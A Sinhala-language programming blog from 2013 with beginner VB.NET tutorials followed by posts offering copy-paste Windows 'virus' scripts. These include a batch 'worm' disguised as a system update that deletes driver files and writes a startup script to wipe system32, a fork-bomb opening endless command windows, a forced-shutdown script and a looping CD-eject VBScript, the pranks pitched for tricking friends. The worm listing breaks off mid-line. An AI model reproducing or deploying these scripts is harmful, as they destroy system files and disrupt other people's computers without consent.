Subscribe:

Wednesday, January 9, 2013

HTML උගනිමු

අද අපි අලුත් වැඩක් පටන් ගන්නවා ඒ තමා HTML වෙබ්  ඩිසයින්  කරන හැටි මේක ඉතාම ලේසි වැඩක් මුලින්ම අපි වෙබ් පිටුව හදමු .
මේ තියෙන්නේ ඒ කෝඩ් .......................

Monday, January 7, 2013

web scrapping උගනිමු .

මේකෙන් වෙන්නේ web page එකක තියෙන ඔක්කොම text  files ඔයාගේ web page එකට ඒමයි .මේකේ code මම ලියල නෑ එත් video එකේ code තියෙනවා .


Sunday, January 6, 2013

VB වලින් computer එකේ තොරතුරු ගන්න පුළුවන් software එකක් හදමු .

අද මම කියල දෙන්න යන්නේ computer information ගන්න පුළුවන් සොෆ්ට්වරේ එකක් හදන හැටියි .code type කරන්න කලින් video එක බලන්න .


Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        TextBox1.Text = My.Computer.Name
        TextBox2.Text = My.User.Name
        TextBox3.Text = My.Computer.Info.OSFullName
        TextBox4.Text = My.Computer.Keyboard.CapsLock
        TextBox5.Text = My.Computer.Mouse.WheelExists
        TextBox6.Text = My.Computer.Screen.WorkingArea.ToString
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        TextBox1.Clear()
        TextBox2.Clear()
        TextBox3.Clear()
        TextBox4.Clear()
        TextBox5.Clear()
        TextBox6.Clear()
    End Sub

End Class








VB වල web browser එකක් හදමු

මම අද කියල දෙන්න යන්නේ web  browser එකක් හදන හැටි.මේක හදන්න හරිම ලේසියි .මේක (*.exe) file එකක් කරන විදිහ මම ඔයාලට මේ පාඩම් ඉවර කරලා කියල දෙන්නම් .
මේකේ code type කරන්න කලින් video එක බලන්න .


Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        WebBrowser1.Navigate(TextBox1.Text)
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        WebBrowser1.GoBack()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        WebBrowser1.GoForward()
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        WebBrowser1.Refresh()
    End Sub

    Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
        TextBox1.Text = WebBrowser1.Url.ToString
    End Sub

End Class


Friday, January 4, 2013

Progress Bar එක හදමු

මම අද ඔයාලට කියල දෙන්න යන්නේ progress bar එකක් හදන හැටි මේක real progress bar එකක් නෙවෙයි.ඒ උනත් මේකත් progress bar එකක් තමා මෙතන තියන code copy කරන්න කලින් video එක බලන්න .

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        ProgressBar1.Value = ProgressBar1.Value + 20
    End Sub

End Class


Math Functions උගනිමු

මම අද ඔයාලට කියල දෙන්න යන්නේ math function  එකක් හදන හැටි .මෙතන තියන code copy කරන්න කලින් video එක බලන්න .


Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        MessageBox.Show(20 + 5)
        MessageBox.Show(20 - 5)
        MessageBox.Show(20 * 5)
        MessageBox.Show(20 / 5)
    End Sub

End Class


If Statements උගනිමු

මම අද ඔයාලට කියල දෙන්න යන්නේ if statements   එකක් හදන හැටි .vb වලින් වැඩකරන අය මේක දැනගෙන ඉන්න ඕනේ එනිසා මම මේ post එක ලීවා . මෙතන තියන code copy කරන්න කලින් video එක බලන්න .

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "hello" Then
            Label1.Text = "world"
        End If
    End Sub

End Class


VB වල Variables උගනිමු

මම අද ඔයාලට කියල දෙන්න යන්නේ Variables  එකක් හදන හැටිමෙතන තියන code copy කරන්න කලින් video එක බලන්න .

Public Class Form1

    Dim messagecontent As String = "Variables are so cool"
    Dim mynumber As Integer = 10

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        MessageBox.Show(mynumber)
    End Sub

End Class


VB වල hello world උගනිමු

අද ඔයාලට vb වලින් වැඩ කරන හැටි  කියල දෙන්න යන්නේ මුලින්ම hello world එක හදන හැටි උගනිමු  . හැටිමෙතන තියන code copy කරන්න කලින් video එක බලන්න .

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        MessageBox.Show("Hello World", "Message Box Title")
    End Sub

End Class

Real worm virus එකක් හදමු



මේක real worm virus එකක් මේක මම ලියන්නේ දැනුවත් වීම සදහා පමණයි අත්හදා බලන්න එපා .
මෙම code note pad වලට copy කරලා save කරනකොට *.bat කියල save කරන්න

@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed

Thursday, January 3, 2013

CMD files නොනවත්වා open වන virus එක




මේකනම් ඔයාලගේ යාලුවන්ව රවට්ටන්න පුළුවන් programe එකක්  මේක click කලවිටදී cmd files විශාල ප්‍රමාණයක් open වේවි .
මේක කියල දුන්නට විතරක් මදිනේ නවත්වන විදිහ දැනගනත් ඕනෙනේ මෙන්න ක්‍රමය ඔයාලගේ copmuter එක restart කරන්න හරියාවි .
මෙම code note pad වලට copy කරලා save කරනකොට *.bat කියල save කරන්න .

Echo off
:loop1
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop2

:loop2
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop1

Shut down වෙන virus එකක් හදමු





මේකනම් ඔයාලගේ යාලුවන්ව රවට්ටන්න පුළුවන් programe එකක්  මේක click කලවිටදී computer එක shutdown වේවි .
මෙම code note pad වලට copy කරලා save කරනකොට *.bat කියල save කරන්න .

 @echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Wednesday, January 2, 2013

DVD WRITER එක එලියට එන virus


මෙම virus එක මගින් ඔබේ මිතුරා පුදුම වේවි .මේකනම් ඔයාලගේ යාලුවන්ව රවට්ටන්න පුළුවන් programe එකක්  මේක click කලවිටදී DVD writer එක open වේවි .ඇතුලට දැම්මත් නොනවත්වාම open වේවි .
මේකත් restart කරහම හරි යාවි .
මෙම code note pad වලට copy කරලා save කරනකොට *.bat කියල save කරන්න .

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop